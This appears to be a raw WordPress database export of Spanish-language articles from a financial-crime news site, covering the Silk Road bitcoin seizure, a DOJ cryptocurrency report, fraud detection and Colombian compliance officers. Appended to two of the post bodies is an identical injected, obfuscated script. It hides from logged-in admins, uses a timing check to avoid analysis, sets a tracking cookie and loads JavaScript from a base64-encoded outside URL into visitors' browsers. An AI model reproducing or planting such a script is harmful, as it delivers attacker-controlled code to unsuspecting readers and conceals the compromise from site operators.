ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus 